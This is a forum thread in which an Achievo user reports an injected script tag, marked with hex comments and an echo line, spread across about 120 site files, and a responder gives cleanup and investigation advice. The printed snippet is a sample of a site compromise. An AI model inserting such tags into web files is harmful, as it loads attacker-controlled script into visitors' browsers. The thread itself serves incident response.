I think that a virus has infected the Achievo application, here is the code:

echo "<script type=\"text/javascript\" src=\"\" name=\"umtx10\"></script>";

<!--148a41--><script type="text/javascript" src="" name="umtx10"></script><!--/148a41-->

This code is inserted in javascripts files, and other files like index.php.

I did a search, found me 120 infected files.

I deleted these codes for all these files.

However this virus came back a second time. I would like to know if you know this problem.

Thanks for your help

Are you referring to the production code on your server? In other words, you do *not* mean code downloaded from or

Assuming you mean the code on your server has been modified since you downloaded Achievo and put it on the server, something must have intentionally modified the code (obvious, I know). However, the code you have found is only the result of an exploited vulnerability, and not the exploit itself. It is possible that other files have been modified, which then allowed the attacker to modify files with the code you found. If possible, I suggest you immediately replace your Achievo code with a new copy, but keep your current code and diff it against the new code to confirm if there have been any other changes.

Achievo (so far as I am aware), does not have the ability to modify index.php or any other file. How are you hosting Achievo? Are there any hosting tools involved that could have been exploited? Can your file be accessed from the internet (which would expose your administrator password, although I can't think of how that would enable modifying code files)? Have you modified Achievo in any way, that could possibly have created a vulnerability?

Good luck!
